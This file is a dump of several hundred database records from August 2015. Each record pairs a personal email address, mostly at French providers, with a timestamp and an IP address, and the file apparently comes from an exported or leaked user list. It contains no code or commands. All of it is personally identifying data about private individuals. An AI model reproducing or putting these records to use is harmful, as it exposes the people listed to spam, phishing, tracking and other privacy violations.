+12590;marie-christelle.lett@laposte.net;2015-08-05 12:22:42;80.75.147.217 +12591;escudero.denise@orange.fr;2015-08-05 15:12:12;85.62.98.226 +12592;sonia.pornin@orange.fr;2015-08-05 15:45:32;90.42.182.83 +12593;agnes@limbasse.com;2015-08-05 15:51:03;82.231.0.206 +12594;sietehoras@hotmail.fr;2015-08-05 16:27:51;82.125.251.221 +12595;mancelin845@aol.com;2015-08-05 16:46:53;79.94.44.79 +12596;massesthe@hotmail.fr;2015-08-05 18:08:25;77.130.250.100 +12597;alise.valet@sfr.fr;2015-08-05 21:22:50;77.148.52.120 +12598;victo12@live.fr;2015-08-05 21:40:37;78.242.252.161 +12599;martine.lelann@orange.fr;2015-08-05 22:25:00;2.13.183.175 +12600;mariendal@voila.fr;2015-08-05 23:49:30;84.6.154.179 +12601;marieannickgeneste@sfr.fr;2015-08-06 06:02:05;82.234.167.227 +12602;coco.051@live.fr;2015-08-06 07:12:24;80.118.127.82 +12603;acbrunot@orange.fr;2015-08-06 07:32:21;92.161.160.39 +12604;famille.thiou@gmail.com;2015-08-06 08:07:12;82.65.181.250 +12605;kaki.65@hotmail.fr;2015-08-06 08:32:06;90.38.44.46 +12606;queneik59@live.fr;2015-08-06 08:33:08;109.22.173.58 +12607;celine307@hotmail.com;2015-08-06 08:46:58;83.115.79.87 +12608;christie.saulenc@bbox.fr;2015-08-06 09:39:11;109.0.184.18 +12609;d5fly@yahoo.fr;2015-08-06 11:01:47;90.50.193.12 +12610;herryjoelle@yahoo.fr;2015-08-06 11:06:35;80.9.40.241 +12611;nhernandez.pro@gmail.com;2015-08-06 11:22:59;77.147.158.103 +12612;frederique.leymerigie@orange.fr;2015-08-06 11:53:52;90.11.203.176 +12613;roselyne.melin@orange.fr;2015-08-06 12:26:05;86.207.95.117 +12614;marianben@free.fr;2015-08-06 13:19:48;86.205.200.197 +12615;sylviedenale@gmail.com;2015-08-06 13:32:09;109.29.27.228 +12616;cherrinchenying@gmail.com;2015-08-06 13:42:36;31.39.161.237 +12617;snezana.vulic@bbox.fr;2015-08-06 13:43:31;31.37.189.40 +12618;mariapaola@reginatofratelli.it;2015-08-06 14:11:04;88.55.108.202 +12619;sophie858.andre@laposte.net;2015-08-06 14:16:47;78.224.54.207 +12620;jeaninebres@yahoo.fr;2015-08-06 14:17:29;217.108.91.65 +12621;fannyseb@wanadoo.fr;2015-08-06 16:02:03;109.215.176.49 +12622;josiane.queau@orange.fr;2015-08-06 16:02:17;2.11.128.153 +12623;catherine.chollet94@laposte.net;2015-08-06 16:34:06;83.196.101.148 +12624;chevalier.stephanie07@gmail.com;2015-08-06 16:39:38;88.186.215.19 +12625;laboratoireisard@orange.fr;2015-08-06 18:24:42;81.249.141.16 +12626;emilie.lodi@hotmail.fr;2015-08-06 18:27:52;212.84.61.233 +12627;thequeen.17@libero.it;2015-08-06 18:37:37;82.91.59.12 +12628;c.ros@orange.fr;2015-08-06 19:07:19;92.133.79.191 +12629;do.malaizier@wanadoo.fr;2015-08-06 19:24:21;81.249.10.30 +12630;alice-84@live.fr;2015-08-06 21:01:18;2.4.210.160 +12631;mackoalain9@gmail.com;2015-08-06 21:10:22;92.245.137.86 +12632;ouvrat.jeanfrancois@neuf.fr;2015-08-06 21:17:12;86.69.189.49 +12633;mcornen@yahoo.fr;2015-08-06 21:42:25;2.10.198.11 +12634;sylvie.lairys@orange.fr;2015-08-06 21:56:36;81.50.90.112 +12635;aldodelphineetmathis@hotmail.fr;2015-08-06 22:59:13;88.170.90.34 +12636;badri.nadia@hotmail.com;2015-08-07 01:56:08;90.43.28.135 +12637;tortorici.valerie@numericable.fr;2015-08-07 05:38:20;82.216.234.241 +12638;jctpoulain@wanadoo.fr;2015-08-07 08:38:47;90.11.89.134 +12639;s.sabbah@laposte.net;2015-08-07 09:06:51;88.186.146.119 +12640;helen.704223@gmail.com;2015-08-07 09:47:34;70.169.227.216 +12641;valerie.naefen@me.com;2015-08-07 09:54:25;194.209.146.82 +12642;denis.le-pahun@orange.fr;2015-08-07 10:42:39;83.195.116.4 +12643;p.fabre.chereau@gmail.com;2015-08-07 10:56:18;77.133.196.8 +12644;helenebar@hotmail.fr;2015-08-07 11:11:24;81.251.75.164 +12645;decrette.gisele@orange.fr;2015-08-07 11:47:41;90.57.2.189 +12646;marieagnes.cremers@sfr.fr;2015-08-07 11:48:54;93.28.206.29 +12647;vanessa.gravalon@gmail.com;2015-08-07 11:50:44;80.11.219.116 +12648;josicolomb@gmail.com;2015-08-07 12:08:26;89.2.241.252 +12649;caroline.quilichini@wanadoo.fr;2015-08-07 12:18:10;83.201.177.21 +12650;julie.marmol@voila.fr;2015-08-07 12:18:32;109.213.248.69 +12651;bionik34@gmail.com;2015-08-07 12:42:25;193.52.26.205 +12652;cecile.beer@me.com;2015-08-07 13:00:23;164.126.186.46 +12653;mfiltri@cgvar.fr;2015-08-07 13:13:10;86.203.77.59 +12654;m.grandsir@gmail.com;2015-08-07 13:32:56;90.51.118.233 +12655;doudounani@hotmail.fr;2015-08-07 13:45:22;171.16.208.4 +12656;polzay@aol.com;2015-08-07 13:50:05;83.202.8.204 +12657;valerie.eragne@sfr.fr;2015-08-07 14:16:57;77.199.233.186 +12658;siatiler@gmail.com;2015-08-07 14:50:00;90.11.33.81 +12659;sylvie.chalmandrier@sfr.fr;2015-08-07 15:11:42;90.26.249.219 +12660;zina260283@hotmail.com;2015-08-07 15:27:01;193.178.175.246 +12661;partipris@cegetel.net;2015-08-07 15:33:51;84.98.50.181 +12662;evelynerousseau5653@neuf.fr;2015-08-07 18:05:47;77.74.245.7 +12663;loree.internet@orange.fr;2015-08-07 20:27:09;109.211.80.220 +12664;castelnauj@aol.com;2015-08-07 21:49:18;89.91.184.174 +12665;gaelle.freval@gmail.com;2015-08-07 21:59:20;185.29.212.42 +12666;bousti60@free.fr;2015-08-08 00:04:47;83.153.153.54 +12667;christine.maldeme@wanadoo.fr;2015-08-08 05:54:47;92.161.114.231 +12668;martine.vandois@gmail.com;2015-08-08 07:57:07;79.94.108.102 +12669;ylaraandarias@hotmail.com;2015-08-08 08:11:34;83.44.141.29 +12670;mariejodupuis@hotmail.fr;2015-08-08 08:43:36;82.124.59.185 +12671;valnohara@netcourrier.com;2015-08-08 10:11:18;88.136.2.142 +12672;barret.regine@sfr.fr;2015-08-08 10:20:27;86.74.90.159 +12673;atonic54@yahoo.fr;2015-08-08 12:08:30;93.25.222.84 +12674;shana.launchpad@gmail.com;2015-08-08 12:26:31;86.208.77.65 +12675;jenny.wiltzius@orange.fr;2015-08-08 12:33:34;82.216.218.39 +12676;pierre-marie.boulinguez@orange.fr;2015-08-08 14:40:14;86.208.9.209 +12677;carine.parmentier@wanadoo.fr;2015-08-08 14:47:12;90.6.193.168 +12678;estelle-simon@hotmail.fr;2015-08-08 15:14:46;2.1.118.23 +12679;chanaljp@orange.fr;2015-08-08 16:49:40;109.212.49.215 +12680;natsion@wanadoo.fr;2015-08-08 19:05:11;78.119.102.117 +12681;d.goutard@orange.fr;2015-08-08 19:26:54;90.49.98.76 +12682;soler.melanie@gmail.com;2015-08-08 21:15:54;78.243.228.5 +12683;celine.maruenda@laposte.net;2015-08-08 21:41:45;78.235.132.151 +12684;sophie.denort@outlook.com;2015-08-08 23:32:41;90.12.189.101 +12685;christiane.cc@hotmail.fr;2015-08-09 08:21:18;88.180.17.106 +12686;camillevannetzel@hotmail.com;2015-08-09 09:58:36;92.151.21.90 +12687;chaput.c@free.fr;2015-08-09 11:30:08;88.74.27.74 +12688;frances.coates-ruet@wanadoo.fr;2015-08-09 11:36:17;90.10.129.84 +12689;tatia00@hotmail.fr;2015-08-09 14:08:11;78.121.129.112 +12690;deborah.pourrat@wanadoo.fr;2015-08-09 15:09:50;90.52.202.165 +12691;mmalderez@hotmail.com;2015-08-09 16:26:14;91.178.101.46 +12692;stephane.dondaine@orange.fr;2015-08-09 18:21:46;83.200.244.221 +12693;marisolalbarracin@hotmail.com;2015-08-09 20:39:05;92.132.147.24 +12694;mygayraud@orange.fr;2015-08-09 21:34:35;86.202.158.204 +12695;lewandowski.dan@orange.fr;2015-08-09 21:36:24;90.1.104.42 +12696;bezetf@gmail.com;2015-08-09 23:32:21;109.214.177.123 +12697;cb67240@free.fr;2015-08-09 23:58:29;82.227.47.242 +12698;celine.rozier@laposte.net;2015-08-10 00:12:11;88.168.115.107 +12699;loa@bbox.fr;2015-08-10 09:54:43;80.15.223.82 +12700;jzhaoclot@gmail.com;2015-08-10 10:33:43;14.136.240.194 +12701;mohktaria.benyettou@hotmail.fr;2015-08-10 11:03:48;91.194.209.78 +12702;mguillen@alesgroupe.com;2015-08-10 11:46:14;195.25.51.193 +12703;patriciasiaud@aol.com;2015-08-10 12:32:52;195.167.194.180 +12704;jrolande68@aol.com;2015-08-10 13:03:03;87.90.206.95 +12705;falkhelene@yahoo.fr;2015-08-10 13:14:47;31.36.207.169 +12706;mclaude.lyathaud@gmail.com;2015-08-10 13:28:09;82.233.242.168 +12707;ghd@wanadoo.fr;2015-08-10 14:01:34;81.50.234.192 +12708;marzine@neuf.fr;2015-08-10 14:02:26;84.98.159.8 +12709;joelle.leclerc3@orange.fr;2015-08-10 14:04:55;193.56.243.54 +12710;weberpvaj@aol.com;2015-08-10 14:14:17;92.103.160.224 +12711;sandrine.noblet@hotmail.fr;2015-08-10 14:45:12;90.8.188.232 +12712;tombi@neuf.fr;2015-08-10 16:23:37;79.93.35.232 +12713;silvia.corveddu@gmail.com;2015-08-10 17:31:39;176.188.117.244 +12714;simonne.basset0120@orange.fr;2015-08-10 17:51:04;90.9.39.220 +12715;syb666@hotmail.fr;2015-08-10 17:52:06;80.15.132.243 +12716;ellen.renard@hotmail.fr;2015-08-10 18:33:58;82.224.87.250 +12717;cecile.drouet12@gmail.com;2015-08-10 19:07:51;80.215.134.93 +12718;go-nat@hotmail.fr;2015-08-10 19:14:02;78.224.13.41 +12719;tagoula@hotmail.fr;2015-08-10 19:31:10;78.249.40.71 +12720;choubrac.christian@neuf.fr;2015-08-10 19:48:06;86.72.30.70 +12721;gwen.mathipt@yahoo.com;2015-08-10 20:09:46;78.230.39.145 +12722;lanie0911@hotmail.fr;2015-08-10 21:24:32;77.204.145.224 +12723;laetitia-ehrhart@bbox.fr;2015-08-10 22:31:01;5.48.119.161 +12724;hmjgb.reygagneux@gmail.com;2015-08-10 23:25:23;86.200.42.18 +12725;fadhila.l@live.fr;2015-08-11 01:04:18;78.236.155.96 +12726;bode.bethel@gmail.com;2015-08-11 01:35:53;88.141.125.206 +12727;danibuffel@gmail.com;2015-08-11 07:38:31;88.167.101.196 +12728;morayagnes@gmail.com;2015-08-11 09:21:01;87.64.59.159 +12729;crllebel@gmail.com;2015-08-11 10:36:46;62.235.237.57 +12730;marleneparatte@hotmail.com;2015-08-11 11:06:08;92.106.27.160 +12731;melicompta@orange.fr;2015-08-11 11:46:26;86.205.233.101 +12732;christine.vidal1960@gmail.com;2015-08-11 12:29:05;86.207.158.188 +12733;VALERIE.DETHISE@ORANGE.FR;2015-08-11 12:37:49;90.18.107.66 +12734;lheritier.helene@live.fr;2015-08-11 13:03:42;88.176.146.35 +12735;ccile.paillard4@orange.fr;2015-08-11 14:01:49;109.217.39.150 +12736;domihofer@yahoo.fr;2015-08-11 15:31:58;160.53.250.126 +12737;jtcail.web@gmail.com;2015-08-11 18:13:46;86.206.233.231 +12738;alice.kergozien@gmail.com;2015-08-11 18:30:52;79.143.138.10 +12739;jeanclaude.vivier@free.fr;2015-08-11 18:52:15;176.144.228.51 +12740;lorelei8156@hotmail.fr;2015-08-11 20:18:18;86.199.33.219 +12741;joelle.julien@bbox.fr;2015-08-11 20:34:42;128.78.13.112 +12742;isabelle.berg@skynet.be;2015-08-11 22:43:43;178.51.234.241 +12743;aidelisarah1@hotmail.fr;2015-08-11 22:44:54;88.161.69.81 +12744;zarehelham@yahoo.com;2015-08-11 23:44:50;95.151.70.162 +12745;holi.nathalie@gmail.com;2015-08-12 05:29:37;89.88.34.110 +12746;anabelledestal@hotmail.com;2015-08-12 06:41:54;115.126.175.15 +12747;sylvie.digiovanni2013@gmail.com;2015-08-12 07:41:59;92.158.79.160 +12748;fchampagne1332@gmail.com;2015-08-12 08:50:46;109.129.128.18 +12749;colette.correard@sfr.fr;2015-08-12 11:32:38;109.27.11.55 +12750;aurore_cogniaux@hotmail.com;2015-08-12 14:18:04;157.164.187.138 +12751;fiona.caous@hotmail.fr;2015-08-12 16:25:32;86.214.56.70 +12752;pharmacie.boutonnet@orange.fr;2015-08-12 16:47:08;193.252.14.113 +12753;murielledidelot@yahoo.fr;2015-08-12 17:07:30;84.99.89.233 +12754;bonnet.claudine@freesbee.fr;2015-08-12 17:08:26;78.240.229.167 +12755;rvpj@free.fr;2015-08-12 17:11:32;78.214.248.35 +12756;moinet.cadet1@wanadoo.fr;2015-08-12 19:19:41;83.195.224.197 +12757;audreyvion22@gmail.com;2015-08-12 20:38:59;81.240.196.219 +12758;sam.segalas@gmail.com;2015-08-12 20:46:16;92.158.1.210 +12759;n.aranega@live.fr;2015-08-12 20:57:55;78.242.154.174 +12760;dominikafraczek@hotmail.com;2015-08-12 21:07:00;88.120.187.7 +12761;nathalielefort@numericable.fr;2015-08-12 21:50:36;85.69.86.181 +12762;dgvivies@gmail.com;2015-08-12 22:02:34;90.51.18.211 +12763;emma8715.el@gmail.com;2015-08-12 22:25:23;109.223.17.188 +12764;klimczak.elodie@gmail.com;2015-08-13 08:06:19;193.55.227.254 +12765;terrynvero@yahoo.fr;2015-08-13 09:03:04;92.155.148.126 +12766;lcheyssac@gmail.com;2015-08-13 09:57:41;109.9.126.63 +12767;angeliquepichon@hotmail.com;2015-08-13 10:21:21;81.48.66.235 +12768;laugierodette@yahoo.fr;2015-08-13 10:28:00;2.12.73.185 +12769;caroline.estrade@free.fr;2015-08-13 10:31:44;78.240.50.8 +12770;rousseauchris@wanadoo.fr;2015-08-13 10:39:47;193.251.180.26 +12771;miou-two@hotmail.fr;2015-08-13 11:42:24;88.177.155.158 +12772;jennigarcia38@yahoo.fr;2015-08-13 11:58:06;80.12.35.112 +12773;welt.florence@orange.fr;2015-08-13 13:01:50;91.135.188.215 +12774;irene.jean@wanadoo.fr;2015-08-13 13:38:56;86.221.179.99 +12775;courtois.celine@laposte.net;2015-08-13 14:32:27;195.132.207.249 +12776;chantal.autexier@free.fr;2015-08-13 14:37:05;82.67.95.32 +12777;angelique.nagels@gmail.com;2015-08-13 15:56:48;84.6.9.30 +12778;chantal2404@orange.fr;2015-08-13 17:08:27;92.152.90.187 +12779;annickbiolley@bluewin.ch;2015-08-13 17:34:39;85.4.208.106 +12780;belluzomarion@yahoo.fr;2015-08-13 20:46:48;79.82.119.99 +12781;nathaliefavre@msn.com;2015-08-13 20:56:47;92.245.151.139 +12782;jocelyne_smith@hotmail.com;2015-08-13 21:32:15;216.177.207.239 +12783;renee.louiset@modulonet.fr;2015-08-13 21:46:16;85.170.124.162 +12784;donz-aurelie@hotmail.com;2015-08-13 23:00:49;109.88.157.136 +12785;cedric.potier1@orange.fr;2015-08-13 23:14:43;83.195.102.237 +12786;a.cordellia@gmail.com;2015-08-14 09:39:37;78.24.34.1 +12787;les.caou@live.fr;2015-08-14 11:37:23;90.54.169.39 +12788;lorence.bach@gmail.com;2015-08-14 12:20:46;78.226.209.97 +12789;aline.payen@live.fr;2015-08-14 12:22:41;81.80.169.31 +12790;phiedelindien@yahoo.fr;2015-08-14 12:25:51;77.130.149.16 +12791;barbaracorse@hotmail.fr;2015-08-14 12:26:12;2.4.223.122 +12792;chabotsophie@hotmail.com;2015-08-14 12:55:18;195.244.180.59 +12793;rivelaygue@hotmail.com;2015-08-14 14:58:19;78.211.155.32 +12794;maximlavinia@gmail.com;2015-08-14 16:03:51;88.207.20.194 +12795;bos.1238@orange.fr;2015-08-14 16:39:34;78.125.214.251 +12796;eulalielala@hotmail.com;2015-08-14 17:10:09;81.251.251.109 +12797;florence.robert0087@orange.fr;2015-08-14 17:51:40;90.49.149.60 +12798;carole.diack@laposte.net;2015-08-14 18:24:32;176.186.238.84 +12799;mouretgmc@yahoo.fr;2015-08-14 18:35:27;92.95.182.78 +12800;huguettesimonlebrun@hotmail.fr;2015-08-14 19:07:30;77.199.58.16 +12801;tornadcham@free.fr;2015-08-14 19:24:59;109.223.144.154 +12802;defossezs@gmail.com;2015-08-14 22:10:53;78.203.214.173 +12803;arlette.ravier@sfr.fr;2015-08-14 22:18:51;77.152.191.222 +12804;alexiahanon@gmail.com;2015-08-14 22:58:10;81.251.114.197 +12805;sonialegron@aol.com;2015-08-14 23:45:39;84.103.68.91 +12806;maryse.floq@gmail.com;2015-08-15 05:34:31;62.35.133.36 +12807;anne@pressprojet.com;2015-08-15 07:37:30;77.149.19.153 +12808;christeleattama@hotmail.com;2015-08-15 09:02:37;41.242.126.171 +12809;julia.vignes@hotmail.fr;2015-08-15 10:31:33;92.159.221.231 +12810;v.fabbri@free.fr;2015-08-15 11:48:58;88.169.7.214 +12811;Marjorie.lido@gmail.com;2015-08-15 12:49:06;82.227.112.141 +12812;carine.ferret@free.fr;2015-08-15 13:43:34;88.183.185.166 +12813;veronique.gougelin@sfr.fr;2015-08-15 13:54:50;80.119.103.214 +12814;daniellecarrette@sfr.fr;2015-08-15 14:04:29;84.100.226.28 +12815;lservant@laposte.net;2015-08-15 15:08:46;217.224.31.49 +12816;christophe.huret@wanadoo.fr;2015-08-15 17:06:52;92.156.97.205 +12817;modub@orange.fr;2015-08-15 19:18:50;83.114.123.170 +12818;mu.faure@free.fr;2015-08-15 20:38:18;78.212.249.32 +12819;judith.morgen@free.fr;2015-08-15 20:53:17;82.240.124.243 +12820;legrand_cline@yahoo.fr;2015-08-15 23:55:47;83.198.239.227 +12821;fafa336002012@gmail.com;2015-08-16 00:01:12;109.26.12.210 +12822;sabirina-chantrel@live.fr;2015-08-16 00:43:00;178.251.23.161 +12823;valeriart@bol.com.br;2015-08-16 04:43:50;179.183.137.94 +12824;estelleguilbert@gmail.com;2015-08-16 06:39:32;80.72.70.48 +12825;chaumont.carole0038@gmail.com;2015-08-16 10:19:07;90.12.8.39 +12826;melinda.mazepa@wanadoo.fr;2015-08-16 10:35:43;109.208.52.4 +12827;costamagna.pascale@gmail.com;2015-08-16 10:57:29;78.198.30.101 +12828;tati83765@hotmail.com;2015-08-16 11:08:16;77.152.94.96 +12829;regine.lancon@sfr.fr;2015-08-16 11:31:42;77.193.229.44 +12830;danielaculac@sfr.fr;2015-08-16 12:43:19;77.151.218.130 +12831;valentine.dumas19@gmail.com;2015-08-16 13:04:20;84.6.152.15 +12832;clarisse423@gmail.com;2015-08-16 13:26:57;88.168.67.188 +12833;sandrine.cachou@hotmail.fr;2015-08-16 14:23:30;78.250.96.32 +12834;vanille-59400@hotmail.fr;2015-08-16 16:03:47;31.32.206.218 +12835;melissa.pagnac@hotmail.fr;2015-08-16 20:22:25;109.223.103.204 +12836;mi-ange@bbox.fr;2015-08-16 20:52:25;176.181.58.108 +12837;aureetfrancou@gmail.com;2015-08-16 20:54:52;92.156.195.248 +12838;noemie.chat@wanadoo.fr;2015-08-16 21:29:47;90.21.184.42 +12839;laetitia.bizat@laposte.net;2015-08-16 21:40:31;93.22.236.211 +12840;lingoislaure@hotmail.com;2015-08-16 23:45:43;109.212.235.157 +12841;jverdon@bluewin.ch;2015-08-17 00:29:08;83.77.10.72 +12842;maud.guilloux@aliceadsl.fr;2015-08-17 02:06:37;78.238.145.243 +12843;stephanie.sanglier@gmail.com;2015-08-17 02:54:47;77.154.202.231 +12844;bdeboisvilliers@yahoo.fr;2015-08-17 09:06:36;86.65.190.74 +12845;sandrine.epalle@yahoo.fr;2015-08-17 10:23:45;109.212.86.110 +12846;alcs82@yahoo.com.au;2015-08-17 10:54:03;60.241.88.199 +12847;mcostil@free.fr;2015-08-17 11:31:04;88.173.187.134 +12848;fpoulalion@yahoo.com;2015-08-17 13:18:09;89.93.194.150 +12849;julie-bonnier.bortolato@live.fr;2015-08-17 14:17:06;80.15.3.227 +12850;iris_276@hotmail.fr;2015-08-17 15:29:39;78.247.196.242 +12851;mathieu.claude5@orange.fr;2015-08-17 15:43:45;90.49.202.142 +12852;christelle.cuk@aliceadsl.fr;2015-08-17 16:11:10;78.205.69.11 +12853;catherine.saingier@gmail.com;2015-08-17 16:36:33;109.219.66.214 +12854;dub.jacky@orange.fr;2015-08-17 18:58:20;2.5.23.63 +12855;barbiebrune@hotmail.fr;2015-08-17 19:03:18;78.236.18.1 +12856;dom.mul@orange.fr;2015-08-17 19:03:28;109.211.202.185 +12857;unitedstatesofsoso@wanadoo.fr;2015-08-17 19:11:15;92.161.54.22 +12858;valerie.jeziorowski@gmail.col;2015-08-17 20:04:52;81.66.208.110 +12859;blair27@bk.ru;2015-08-17 21:03:12;178.151.1.235 +12860;benepuer@hotmail.fr;2015-08-17 22:11:44;88.179.185.39 +12861;kikididdl@hotmail.com;2015-08-18 00:15:07;2.0.9.243 +12862;sylvie.larue2@sfr.fr;2015-08-18 08:11:40;86.76.168.53 +12863;any6156@gmail.com;2015-08-18 11:20:10;91.68.151.12 +12864;any6156@gmail.com;2015-08-18 11:20:10;91.68.151.12 +12865;francoise.baratin@yahoo.fr;2015-08-18 12:13:07;78.219.68.135 +12866;abronsard@free.fr;2015-08-18 12:51:06;212.234.141.13 +12867;klein.peggy@orange.fr;2015-08-18 13:06:21;80.12.43.178 +12868;sophie.guyomard13@gmail.com;2015-08-18 13:11:40;92.148.65.128 +12869;mariane.padovani@orange.fr;2015-08-18 13:44:27;90.45.23.2 +12870;amelie.pellarrey@yahoo.fr;2015-08-18 13:56:01;90.18.239.164 +12871;camist@hotmail.com;2015-08-18 14:00:44;95.182.208.96 +12872;Sunqian@free.fr;2015-08-18 14:07:07;81.255.31.174 +12873;pharmacie.normand@hotmail.fr;2015-08-18 14:45:14;193.252.14.27 +12874;dbezelgues@yahoo.fr;2015-08-18 14:47:41;86.194.16.244 +12875;amelie.desroches@voila.fr;2015-08-18 15:08:26;83.115.57.191 +12876;e-briot@orange.fr;2015-08-18 15:11:33;212.117.127.210 +12877;catherine.kopp@gmail.com;2015-08-18 15:44:55;78.211.4.31 +12878;b.taillandier@hotmail.fr;2015-08-18 16:08:25;81.255.103.117 +12879;ferreirasandrine@yahoo.fr;2015-08-18 16:35:54;188.130.96.146 +12880;sophie.chaussiere@live.fr;2015-08-18 16:44:35;78.244.140.146 +12881;dubrulle.chd@gmail.com;2015-08-18 16:53:02;188.130.83.110 +12882;nawaloutili@hotmail.fr;2015-08-18 16:55:29;85.31.202.50 +12883;suzel.vilain@orange.fr;2015-08-18 17:05:26;90.1.165.131 +12884;serena.santi@laposte.net;2015-08-18 18:43:47;92.144.40.199 +12885;cam.gicquel@laposte.net;2015-08-18 18:49:21;92.90.16.140 +12886;sandrine.zany@orange.fr;2015-08-18 19:09:20;86.205.238.6 +12887;elisabelle.thibault@gmail.com;2015-08-18 21:56:51;212.198.76.252 +12888;alain.jacquenod@free.fr;2015-08-18 22:09:26;88.182.46.38 +12889;ann.savalli@yahoo.fr;2015-08-18 23:11:53;88.209.105.131 +12890;liso42@outlook.fr;2015-08-19 08:00:44;85.170.83.124 +12891;sylvia@conraux.com;2015-08-19 10:44:12;88.161.92.71 +12892;kikijazz@live.fr;2015-08-19 11:03:19;92.156.10.90 +12893;laura.operon@gmail.com;2015-08-19 11:39:30;176.189.221.35 +12894;laurence.fransquin@orange.fr;2015-08-19 12:00:53;90.47.209.212 +12895;jean-paul.sportiello@wanadoo.fr;2015-08-19 12:34:39;109.223.203.113 +12896;sherl505@yahoo.fr;2015-08-19 13:01:45;81.243.201.120 +12897;annick.huguet@neuf.fr;2015-08-19 13:25:14;93.1.103.193 +12898;mboisso@free.fr;2015-08-19 13:45:50;82.245.64.49 +12899;farretch@ozone.net;2015-08-19 14:20:35;213.111.45.17 +12900;katiamtp@hotmail.com;2015-08-19 15:01:22;82.127.229.89 +12901;lcourtois2@wanadoo.fr;2015-08-19 15:12:05;2.13.209.248 +12902;paule.descot@aliceadsl.fr;2015-08-19 15:39:14;78.210.46.127 +12903;ANNAPMMENDES@YAHOO.FR;2015-08-19 15:50:33;86.212.160.159 +12904;lucy.sun@free.fr;2015-08-19 16:49:08;86.197.239.12 +12905;planete66@neuf.fr;2015-08-19 17:01:27;176.186.93.239 +12906;lecmichele@gmail.com;2015-08-19 17:57:02;78.213.57.9 +12907;anny.lepalud@gmail.com;2015-08-19 19:48:37;84.112.214.47 +12908;doublem55@hotmail.com;2015-08-19 20:01:03;86.219.109.204 +12909;michele-f.imbert@laposte.net;2015-08-19 20:27:41;82.65.97.148 +12910;naniesomuch@hotmail.com;2015-08-19 20:29:14;87.231.203.176 +12911;christel.perennes@sfr.fr;2015-08-19 21:39:30;84.6.247.204 +12912;marinet32@gmail.com;2015-08-19 21:46:04;88.189.162.220 +12913;darce.audrey@gmail.com;2015-08-19 22:41:39;84.101.114.167 +12914;brigitte.tissinie@wanadoo.fr;2015-08-19 23:20:06;90.57.55.179 +12915;thalyna94@gmail.com;2015-08-20 00:09:45;88.183.183.159 +12916;beaeugene@outlook.fr;2015-08-20 07:51:10;88.175.18.121 +12917;rouge.muriel82@orange.fr;2015-08-20 08:19:13;83.205.251.196 +12918;arizona2404@hotmail.fr;2015-08-20 08:48:02;86.72.25.69 +12919;noel.forestier@free.fr;2015-08-20 09:00:44;195.101.137.28 +12920;gautier.marylene@gmail.com;2015-08-20 09:35:42;78.228.124.28 +12921;simmaiha@gmail.com;2015-08-20 10:03:13;90.49.127.48 +12922;lilismiley@wanadoo.fr;2015-08-20 10:33:08;90.60.27.222 +12923;m-anilolia@hotmail.fr;2015-08-20 10:46:33;81.48.196.8 +12924;j.renaud31@orange.fr;2015-08-20 11:01:34;90.60.156.57 +12925;duperrier.nadine@neuf.fr;2015-08-20 11:50:04;213.190.91.21 +12926;alexandra68@neuf.fr;2015-08-20 12:07:40;109.221.211.126 +12927;bettycisse@gmail.com;2015-08-20 13:47:11;81.251.63.91 +12928;cathy.bouhadiba@orange.fr;2015-08-20 13:52:57;86.219.230.12 +12929;andre.baudoncourt@hotmail.fr;2015-08-20 14:00:48;109.10.213.68 +12930;m.romeas@laposte.net;2015-08-20 14:22:18;88.188.22.211 +12931;nathalie.labsir@gmail.com;2015-08-20 14:56:03;88.181.19.151 +12932;djemilla.mezzomo@orange.fr;2015-08-20 15:35:41;92.138.99.40 +12933;mafrecha@gmail.com;2015-08-20 15:42:11;109.23.234.144 +12934;amatista65@hotmail.fr;2015-08-20 16:07:35;109.223.194.242 +12935;v.dages@yahoo.fr;2015-08-20 16:36:45;79.88.224.10 +12936;seve@hotmail.ca;2015-08-20 16:54:22;109.2.67.194 +12937;j.babylone22@gmail.com;2015-08-20 17:04:58;88.189.207.108 +12938;logisdesrenards@gmail.com;2015-08-20 17:24:15;80.248.217.242 +12939;massardmarie@gmail.com;2015-08-20 17:38:21;197.2.134.129 +12940;stephaniepiraprez@gmail.com;2015-08-20 17:49:32;109.133.64.6 +12941;alizee_fauconnier@hotmail.fr;2015-08-20 18:23:02;176.185.20.241 +12942;a.scheid57@orange.fr;2015-08-20 20:03:27;80.11.28.70 +12943;didier.rousset@neuf.fr;2015-08-20 20:31:17;90.30.54.5 +12944;vany-p@orange.fr;2015-08-20 21:09:05;2.1.239.197 +12945;helene.pap1@gmail.com;2015-08-20 22:30:29;77.206.32.14 +12946;mmamichette83@live.fr;2015-08-20 23:13:08;82.246.154.138 +12947;prevost.isa@free.fr;2015-08-21 00:06:09;88.164.97.45 +12948;ndebizet01@noos.fr;2015-08-21 00:06:20;89.157.200.217 +12949;annick.audoux@wanadoo.fr;2015-08-21 08:24:21;2.11.181.202 +12950;joel.person858@orange.fr;2015-08-21 08:32:46;86.208.32.9 +12951;sophie_klein@hotmail.fr;2015-08-21 09:03:58;212.195.105.56 +12952;haixindiao@gmail.com;2015-08-21 09:33:07;81.164.64.187 +12953;chabertsandra@gmail.com;2015-08-21 10:24:09;78.206.92.30 +12954;le-couillard.nelly@orange.fr;2015-08-21 10:32:31;2.14.44.110 +12955;steph.phan@hotmail.fr;2015-08-21 10:38:50;90.53.93.34 +12956;belloiranne1@orange.fr;2015-08-21 11:47:52;90.5.121.190 +12957;neveujessica89@gmail.com;2015-08-21 13:29:38;78.199.56.218 +12958;emiliegiai-checa@sfr.fr;2015-08-21 13:40:22;78.112.100.163 +12959;genevieve.dubuisson@gmail.com;2015-08-21 14:33:00;176.151.112.250 +12960;sandra.besia@gmail.com;2015-08-21 14:40:24;82.127.72.128 +12961;m.devise@laposte.net;2015-08-21 14:42:24;85.168.131.1 +12962;engraibio@wanadoo.fr;2015-08-21 14:50:40;90.32.9.165 +12963;monique.germond@bbox.fr;2015-08-21 14:54:24;89.94.34.170 +12964;celticaud@hotmail.fr;2015-08-21 14:54:45;2.10.139.70 +12965;arlette.terreaux@gmail.com;2015-08-21 15:01:28;88.122.253.196 +12966;veroniquelodie@orange.fr;2015-08-21 15:56:41;78.242.12.153 +12967;joncheray.dany@orange.fr;2015-08-21 16:08:22;90.49.232.224 +12968;aurelieaurand@hotmail.fr;2015-08-21 16:51:10;90.50.134.211 +12969;doggys_mother@hotmail.com;2015-08-21 18:08:45;2.12.30.9 +12970;da_emilie@hotmail.com;2015-08-21 19:27:45;95.182.158.27 +12971;garcia.brigitte@hotmail.com;2015-08-21 19:42:04;90.60.68.246 +12972;sandrine.grand@free.fr;2015-08-21 21:58:40;88.122.190.41 +12973;orlanel03@hotmail.fr;2015-08-21 23:09:35;92.133.119.16 +12974;yeshuasgirl2005@yahoo.com;2015-08-21 23:21:43;63.146.124.164 